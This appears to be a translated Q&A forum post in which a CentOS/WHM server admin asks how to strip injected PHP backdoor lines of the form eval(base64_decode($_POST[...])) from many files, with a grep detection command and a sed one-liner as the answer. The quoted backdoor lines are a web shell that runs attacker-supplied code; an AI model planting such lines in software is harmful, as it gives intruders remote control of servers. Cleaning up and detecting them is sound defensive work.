【问题标题】:remove eval base64_decode from file with ssh使用 ssh 从文件中删除 eval base64_decode
【发布时间】:2014-09-28 14:51:43
【问题描述】:

我在网络服务器(带有 WHM 的 CentO)上发现了几个 php 文件,其中包含以下内容:

eval(base64_decode($_POST['n23fcad']));?><?php

eval(base64_decode($_POST['n56660d']));?><?php  

等等。

我可以从 php 文件中删除这部分代码,而保留文件的其余部分吗?

现在我使用以下行来检测文件:

grep -lr --include=*.php "eval(base64_decode" .

我不知道如何删除恶意部分。 正如您在 POST 的括号中看到的那样,代码发生了变化。 所以希望有一种方法可以删除这些行。

提前致谢!

【问题讨论】:

    标签: linux ssh centos


    【解决方案1】:

    请尝试以下方法

    cat injected_file.php | sed  's/<?php.*eval.*]));?>//g' > good_file.php
    

    它对我有用。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2023-03-23
      • 2016-07-05
      • 1970-01-01
      相关资源
      最近更新 更多